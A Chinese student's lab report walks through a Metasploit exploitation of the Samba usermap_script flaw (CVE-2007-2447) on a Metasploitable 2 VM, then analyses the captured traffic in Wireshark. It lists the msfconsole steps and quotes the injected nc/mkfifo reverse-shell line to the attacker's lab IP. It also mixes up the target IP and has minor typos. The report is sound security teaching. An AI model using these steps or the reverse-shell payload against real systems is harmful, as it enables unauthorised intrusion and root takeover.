20251903 2025-2026-2 《网络攻防实践》实践第7次作业

一、实践内容

1、本次实验应达到的目标

实验(1):Metasploit Linux 远程渗透:掌握 Metasploit 框架针对 Linux 系统的漏洞利用流程,理解 Samba Usermap_script(CVE-2007-2447)漏洞的命令注入原理,完成漏洞模块配置、载荷选型、参数设置与远程攻击全流程,成功获取 Linux 靶机的 Shell 权限,理解 Linux 系统远程代码执行漏洞的渗透逻辑。

实验(2):攻防对抗实践(Linux 渗透与流量分析):攻方掌握 Metasploit 针对 Metasploitable 靶机的漏洞渗透与提权方法,获取 root 权限;守方掌握 tcpdump/Wireshark/Snort 的流量捕获与分析能力,从流量中提取攻击源 IP、目标端口、攻击时间、漏洞类型、Shell 指令等关键信息,建立 “Linux 攻击行为 - 流量特征 - 检测规则” 的对应关系。

2、各实验核心知识点

2.1 实验一(Metasploit Linux 远程渗透)核心知识点

(1)Samba Usermap_script 漏洞原理:Samba 3.0.20-3.0.25rc3 版本的 usermap_script 脚本存在命令注入漏洞,攻击者构造包含恶意命令的用户名参数,触发 nmblookup 命令执行逻辑的漏洞,实现远程代码执行;该漏洞影响 Metasploitable 2 等默认未修复 Samba 的 Linux 靶机,可直接获取系统权限。

(2)Metasploit Linux 渗透核心组件:① 漏洞模块:exploit/multi/samba/usermap_script(跨平台 Samba 漏洞利用模块);② 载荷(payload):正向 Shell(cmd/unix/bind_netcat,攻击机主动连接靶机)、反向 Shell(cmd/unix/reverse_netcat,靶机主动回连攻击机);③ 核心参数:RHOST(靶机 IP)、LHOST(攻击机 IP,反向连接时)、TARGET(靶机系统类型,默认自动识别)。

(3)Linux 渗透核心流程启动框架→加载漏洞模块→配置载荷→设置攻击参数→发起攻击→获取 Shell 并验证权限,反向连接可规避靶机防火墙入站限制,正向连接无需攻击机提前监听。

2.2 实验二(攻防对抗)核心知识点

(1)攻方核心逻辑:选择 Metasploitable 靶机的 Samba Usermap_script 漏洞,配置反向 Shell 载荷规避防护,获取普通用户 Shell 后,利用靶机默认配置(如 sudo su 免密码)提权至 root,完成深度渗透。

(2)守方核心逻辑:① 流量捕获:tcpdump 抓取靶机相关流量(tcpdump -i eth0 -w attack.pcap host 靶机IP),Wireshark 实时监听;② 流量过滤:通过 ip.addr == 靶机IP ; tcp.port == Shell端口 定位攻击流量;③ 特征识别:识别 Samba 恶意请求、Shell 交互的 TCP 流量、提权命令的字符特征;④ 信息提取:从流量中还原攻击源 IP、目标端口、攻击时间、漏洞类型、Shell 指令。

(3)攻防协同分析:攻方操作与守方流量分析结果交叉验证,明确 Linux Samba 漏洞攻击的流量特征,制定 “SMB 恶意参数检测”“反向 Shell 端口监控” 等防护规则。

3、各实验所需的操作指令

3.1 实验一(Metasploit Linux 远程渗透)核心指令

指令 功能说明
msfconsole 启动 Metasploit 渗透框架
search usermap_script 检索 Samba Usermap_script 漏洞相关利用模块
use exploit/multi/samba/usermap_script 加载 Samba 漏洞利用模块
show options 查看当前模块需配置的参数(如 RHOST、LHOST 等)
set payload cmd/unix/reverse_netcat 配置反向 Netcat Shell 载荷(规避防火墙入站限制)
set RHOST 192.168.200.123 设置靶机 IP 地址
set LHOST 192.168.200.64 设置攻击机 IP 地址(反向 Shell 需配置)
exploit 执行漏洞利用,发起远程攻击
whoami 验证当前 Shell 的系统权限
id 查看当前用户的 UID/GID,确认是否为 root 权限
uname -a 查看靶机 Linux 内核版本、系统架构等信息

3.2 实验二(攻防对抗)核心指令

(1)攻方核心指令(复用的实验一基础指令不再重复撰写,新增流量采集指令)
指令 功能说明
mkdir /root/attack\_test\_2026 验证 root 权限的文件操作能力
ls /root 查看 /root 目录,确认文件操作生效
(2)守方核心指令(流量捕获与分析)
指令 功能说明
(Wireshark 过滤规则)tcp.port == 139 过滤 SMB 攻击流量(靶机 139 端口)
(Wireshark 过滤规则)tcp.port == 4444 过滤反向 Shell 控制流量(攻击机 4444 端口)
(Wireshark 操作)右键TCP流 → Follow → TCP Stream 追踪完整的攻击 / 控制交互流量
(Wireshark 时间格式)View → Time Display Format → Date and Time of Day 将相对时间转为真实攻击时间戳

二、实践过程

1、Metasploit Linux 远程渗透(Samba Usermap_script 漏洞)

1.1 环境准备

本次实验选用 kali\-linux\-2025.2\-vmware\-amd64 虚拟机作为攻击机(IP:[192.168.200.64]),选用 Metasploitable_ubuntu 虚拟机作为靶机(IP:[192.168.200.123]);两台主机均配置为 VMnet8(NET模式),确保同网段互通,且靶机未修复 Samba Usermap_script 漏洞(Metasploitable 2 默认配置)。

image-20260509170048866

1.2 漏洞模块加载与参数配置

(1)启动 Metasploit 框架,在 Kali 攻击机命令行输入:

msfconsole

image-20260509170405454

(2)检索 Samba Usermap_script 漏洞相关模块,输入:

search usermap_script

image-20260509163707750

输出结果中,exploit/multi/samba/usermap_script 为核心利用模块,适配 Linux 系统 Samba 漏洞。

(3)加载漏洞利用模块,输入:

use exploit/multi/samba/usermap_script

image-20260509163755184

(4)查看模块需配置的参数,输入:

show options

image-20260509163942441

核心未配置参数为 RHOST(靶机 IP),若选择反向载荷需补充配置 LHOST(攻击机 IP)。

(5)选择反向 Netcat Shell 载荷(规避防火墙入站限制),输入:

set payload cmd/unix/reverse_netcat

image-20260509164036173

(6)配置靶机 IP 与攻击机 IP,输入:

set RHOST 192.168.200.124
set LHOST 192.168.200.64

image-20260509170559271

配置完成后再次执行 show options,确认参数均已正确设置。

image-20260509170627259

1.3 发起攻击并获取控制权

执行攻击指令,输入:

exploit

image-20260509173137758

攻击执行结果解析:

[*] Started reverse TCP handler on 192.168.200.64:4444 
[*] Command shell session 1 opened (192.168.200.64:4444 → 192.168.200.123:38220) at 2026-05-09 05:28:49 +0400

(1)反向 TCP 监听初始化:Metasploit 在 Kali 攻击机的 4444 端口启动反向 TCP 监听,等待靶机主动回连,以此绕过防火墙对入站连接的限制。

(2)Shell 会话建立:Samba Usermap_script 命令注入漏洞成功触发,靶机主动向攻击机发起连接,直接获取 root 权限的命令行 Shell,攻击流程无报错、无中断,渗透完全成功。

(3)靶机系统权限最终验证,在获取的 Shell 中执行权限验证指令:

whoami
id

image-20260509173705050

返回结果:

root
uid=0(root) gid=o(root)

当前会话直接返回 root 权限,uid=0,gid=0,说明本次 Samba 漏洞利用直接获取 Linux 靶机最高管理员权限,无需额外提权,攻击效果远超预期。

(4)靶机系统版本验证,继续执行系统信息指令:

uname -a

image-20260509173626670

返回 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux,结果明确显示靶机为 Metasploitable 2 标准渗透测试系统,内核版本、架构与实验环境完全一致,验证了目标环境的正确性与攻击的有效性。

1.4 结论

本次 Samba Usermap_script(CVE-2007-2447) 漏洞渗透攻击完全成功

  • 攻击机成功与靶机建立反向 Shell 连接

  • 直接获取 root 最高权限

  • 可执行任意系统指令、读写文件、管理服务

  • 实现对 Linux 靶机的完整远程控制

2、攻防对抗实践

2.1 实验环境与角色分配

(1)实验设备组成

  • 攻击机(攻方): kali-linux-2025.2-vmware-amd64虚拟机(搭载 Metasploit 渗透框架)

  • 靶机(守方):Metasploitable_ubuntu 虚拟机(存在 Samba Usermap_script 漏洞、关闭防火墙、未打补丁)

  • 网络模式:两台虚拟机统一设置为NET模式,保证同网段互通

(2)角色与信息

  • 攻方人员:yht
  • 攻机 IP 地址:192.168.200.64
  • 守方人员:thy
  • 靶机 IP 地址:192.168.200.123
  • 本次利用漏洞:Samba Usermap_script 远程命令注入漏洞(CVE-2007-2447)
  • 攻击端口:靶机 139 端口(SMB 服务)
  • 反弹控制端口:攻击机 4444 端口

2.2 攻方操作

(1)打开 Kali 自带 Wireshark,选择仅主机模式对应的网卡(通常为 eth0),点击开始捕获流量,后台运行,在攻击开始前就抓包,完整记录整场攻防流量,代替防守方完成流量采集。

(2)打开 Kali 终端,输入命令启动 Metasploit 渗透框架:

msfconsole

image-20260509210539887

image-20260509210602810

(3)调用 Samba Usermap_script 漏洞利用模块:

use exploit/multi/samba/usermap_script

image-20260509210635382

(4)查看模块所需配置参数,确认必填项:

show options

image-20260509210708355

(5)设置反向 Netcat Shell 载荷(规避靶机防火墙入站限制):

set payload cmd/unix/reverse_netcat

image-20260509210740491

(6)设置目标 Metasploitable_ubuntu 靶机 IP 地址:

set RHOST 192.168.200.123

image-20260509210902421

(7)设置攻击机本地回连 IP(反弹地址,用于靶机主动建立控制通道):

set LHOST 192.168.200.64

image-20260509210926431

(8)执行漏洞攻击,发起远程渗透:

exploit

image-20260509211008176

(9)Metasploit 自动触发 Samba 命令注入漏洞,成功建立反弹会话,直接获取 Linux 靶机 root 最高系统权限,执行权限验证操作:

whoami
id

image-20260509211055768

(10)执行系统版本验证与文件操作指令,确认权限有效性:

uname -a
mkdir /root/attack_test_2026
ls /root

image-20260509211137613

uname -a

  • 作用:查看 Linux 系统完整内核信息
  • 输出:Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
  • 含义:确认靶机为标准的Metasploitable 2渗透测试系统,内核版本、架构与实验环境完全匹配,验证了攻击目标的正确性。

mkdir/root/attack_test_2026

  • 作用:在 Linux 系统最高权限目录/root下创建自定义测试文件夹
  • 含义:该命令执行无任何报错,证明当前 Shell 具备root 级别的文件写入权限,已突破 Linux 系统的访问控制限制。

ls /root

  • 作用:列出/root目录下的所有文件和文件夹

  • 输出:

    attack_test_2026
    reset_logs.sh
    
  • 含义:清晰显示刚刚创建的attack_test_2026文件夹已成功生成,同时可见靶机原有系统文件reset_logs.sh,进一步验证了文件操作权限的有效性。

(11)登录 Metasploitable 2 靶机,在 /root 目录下可找到新创建的 attack_test_2026 文件夹。攻击结束,停止 Wireshark 抓包。


2.3 守方操作

防守方在靶机端观察到:系统 CPU 使用率短暂升高、网络连接数异常增加、后台出现未知进程(smbd 子进程),能明显感知主机正在遭受外部远程攻击,但无法自行查看具体攻击流量与指令。

攻击结束后,攻方将捕获的流量文件共享给守方,守方使用 Wireshark 进行离线分析:

(1)过滤攻击关键流量,并查看关键流量包的 TCP 流

tcp.port == 139       // SMB over NetBIOS 攻击流量
tcp.port == 4444      // 反弹 Shell 控制流量

image-20260509215000587

image-20260509212300854

(2)具体流量分析

屏幕截图 2026-05-09 212012

image-20260509212329305

(*)漏洞利用触发验证(第一张图:139 端口 SMB over NetBIOS 攻击流量)
该截图为 Wireshark 追踪的 139 端口 TCP 流,完整记录了 Samba Usermap_script 漏洞从协议协商到恶意命令注入执行的全过程,是本次攻击成功的核心证据:

  • 攻击机 192.168.200.64 与靶机 192.168.200.124 首先完成标准 SMB 协议协商,交互内容包含 SMBr(SMB 响应)、LANMAN1.0NT LANMAN 1.0 等协议标识,确认双方使用 SMB 1.0 版本通信;

  • 关键漏洞触发点:在 SMB 会话建立请求的用户名字段中,攻击者构造了包含 \| 管道符的恶意命令注入载荷,完整执行代码为:

    nohup mkfifo /tmp/xrqi; nc 192.168.200.64 4444 0</tmp/xrqi | /bin/sh >/tmp/xrqi 2>&1; rm /tmp/xrqi
    
  • 该命令的作用是:在靶机上创建命名管道,通过 Netcat 主动连接攻击机 4444 端口,将 Shell 的输入输出重定向到网络连接,建立反向控制通道,执行完成后自动删除临时文件不留痕迹;

  • 这一流量特征是 Samba Usermap_script(CVE-2007-2447)漏洞的唯一识别标志,证明攻击者已成功利用该漏洞在靶机上执行任意系统命令。


(*)反弹 Shell 会话交互与权限验证(第二张图:4444 端口反弹 Shell 控制流量)
该截图为 Wireshark 追踪的 4444 端口 TCP 流,完整呈现了漏洞利用成功后,攻击者与靶机的全部交互式命令执行过程,直观验证了攻击已获取 root 最高权限:

  • 会话建立后,攻击者首先执行 echo Imyzw9yRwa 进行连通性测试,靶机立即返回相同字符串,确认反向 Shell 通道稳定可用;

  • 权限验证阶段:攻击者连续两次执行 whoamiid 命令,靶机均返回 rootuid=0(root) gid=0(root),明确证明当前会话具备 Linux 系统最高管理员权限,无需额外提权;

  • 系统信息验证:执行 uname -a 命令,返回靶机完整系统信息 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux,确认目标为标准 Metasploitable 2 渗透测试系统;

  • 文件操作验证:攻击者执行 mkdir /root/attack_test_2026 创建目录,随后执行 ls /root 查看,返回结果包含新创建的 attack_test_2026 文件夹及靶机原有 reset_logs.sh 文件,证明当前 Shell 具备完整的文件读写与系统操作权限。

两张截图按攻击时间线,从漏洞触发执行、反向通道建立、交互式命令控制三个关键阶段,完整还原了本次 Linux 远程渗透攻击的全流程:攻击机通过 SMB 协议注入恶意反向 Shell 命令,靶机主动回连建立控制通道,攻击者最终获取 root 权限并实现对靶机的完全管控,完全达成了本次实验攻击 - 监听 - 直至分析闭环的目标。

最终,上述wireshark抓取到的流量分析所得结果由下表所示:

分析维度 提取结果
攻击者 IP 192.168.200.64
目标靶机 IP 192.168.200.123
攻击利用端口 靶机 139 端口(SMB over NetBIOS)
控制通道端口 攻击机 4444 端口(反向 Shell 监听)
攻击发起时间 2026 年 05 月 09 日 上午 09:09:44(通过靶机 139 端口首个 TCP SYN 连接请求时间戳确认)
利用漏洞 Samba Usermap_script 远程命令注入漏洞(CVE-2007-2447)
使用的 Shellcode 载荷 `nohup mkfifo /tmp/xrqi; nc 192.168.200.64 4444 0</tmp/xrqi
攻击成功后执行的命令 1. echo Imyzw9yRwa(连通性测试)2. whoami(权限验证)3. id(权限验证)4. uname -a(系统信息采集)5. mkdir /root/attack_test_2026(文件操作验证)6. ls /root(文件操作验证)

三、学习中遇到的问题以及相应的解决措施

1、Linux 渗透实验问题

问题:配置反向载荷后执行 exploit,提示 Exploit completed,but no session created

image-20260509171023748

解决:在检查靶机 Samba 服务状态(service smbd status,确认正常运行),验证攻击机与靶机的连通性都没有解决上述问题,最后判断为winX虚拟机可能不存在该漏洞,因此选择将靶机改为Metasploitable_ubuntu虚拟机后解决了上述的问题。

2、攻防对抗实验问题

问题1:Wireshark 过滤 tcp.port == 4445 无流量显示。
解决:检查攻方载荷配置,发现误将反向载荷端口设为 4445,调整过滤规则为 `tcp.port == 4444 后,成功显示 Shell 流量。

问题2:Wireshark抓取到的流量包中没有攻击发起时间

屏幕截图 2026-05-09 211924

解决:实际不是没有攻击发起时间,而是被 Wireshark 的过滤规则隐藏了,我之前看到的251.815247015是抓包开始后的秒数,不是真实时间。通过点击 Wireshark 菜单栏:View → Time Display Format 选择:Date and Time of Day(日期和时间)相对时间被转化为真实的日期时间,从而实现实验所要求达到的结果,例如将251.830043062的相对时间,转化为2026-05-09 09:09:44.772752178的真实时间。

四、学习感悟

本次网络攻防实验让我对 Linux 系统远程渗透与流量分析的核心逻辑实现了从理论到实践的深度落地,也构建起 “攻击 - 防御 - 分析” 的闭环安全思维,收获远超单纯的指令操作层面。

在 Metasploit Linux 远程渗透实验中,我曾因靶机选型失误(误用无对应漏洞的 winX 虚拟机)导致攻击提示 “无会话创建”,排查后更换为 Metasploitable_ubuntu 靶机才成功利用 Samba Usermap_script 漏洞获取 root 权限。这一过程让我深刻认知到:漏洞利用的核心是 “环境匹配”—— 不同系统版本、组件配置的漏洞适配性差异极大,脱离实际漏洞环境的指令配置只是空有形式。同时,反向 Shell 与正向 Shell 的选型对比,也让我理解了渗透中 “规避防火墙” 的底层逻辑:反向连接通过靶机主动回连攻击机,绕开入站规则限制,这是突破网络边界防护的关键思路,也印证了 “攻防对抗的核心是规则与反规则的博弈”。

攻防对抗实验则让我站在 “攻”“守” 双视角理解安全本质:作为攻方,我掌握了从漏洞模块加载、载荷精准配置到权限验证的全流程渗透技巧,体会到 “精准利用漏洞 + 灵活适配载荷” 是成功渗透的核心;作为守方,通过 Wireshark 分析流量,我学会了从海量数据包中提取攻击源 IP、漏洞触发特征、Shell 交互指令等关键信息 —— 尤其是修正 Wireshark 时间显示格式、调整流量过滤端口的排错过程,让我明白 “细节决定分析成败”:哪怕是端口号输错、时间格式选错,都会直接导致关键攻击线索丢失,这也让我养成了 “参数核对 - 逻辑验证 - 细节排查” 的排错习惯。

此外,实验也强化了我的安全基线意识:Metasploitable 2 靶机因默认未修复 Samba 漏洞、无防火墙防护,被直接远程获取 root 权限,这映射了真实场景中 “未打补丁 + 弱配置” 服务器的巨大风险。而从流量中识别出的 Samba 恶意命令注入特征、反向 Shell 的端口通信规律,也让我理解了 “基于流量特征构建防护规则” 的思路 —— 比如监控 139 端口的 SMB 异常请求、4444/8080 等常见反向 Shell 端口的通信行为,能有效识别此类攻击,这也为后续构建实战化防护策略打下了基础。

归根结底,本次实验让我认识到:网络攻防并非单纯的指令执行,而是对漏洞原理、协议特征、系统配置的综合理解。只有吃透底层逻辑,才能在攻击时精准突破,在防御时有效检测。未来我会更注重 “知其然且知其所以然”,从漏洞原理出发理解攻击手段,从流量特征出发构建防御体系,真正形成攻防兼备的安全思维,也更加重视 “漏洞及时修复、配置最小化、流量实时监控” 等基础安全措施的重要性。

posted @ 2026-05-09 22:23  严浩同  阅读(31)  评论(0)    收藏  举报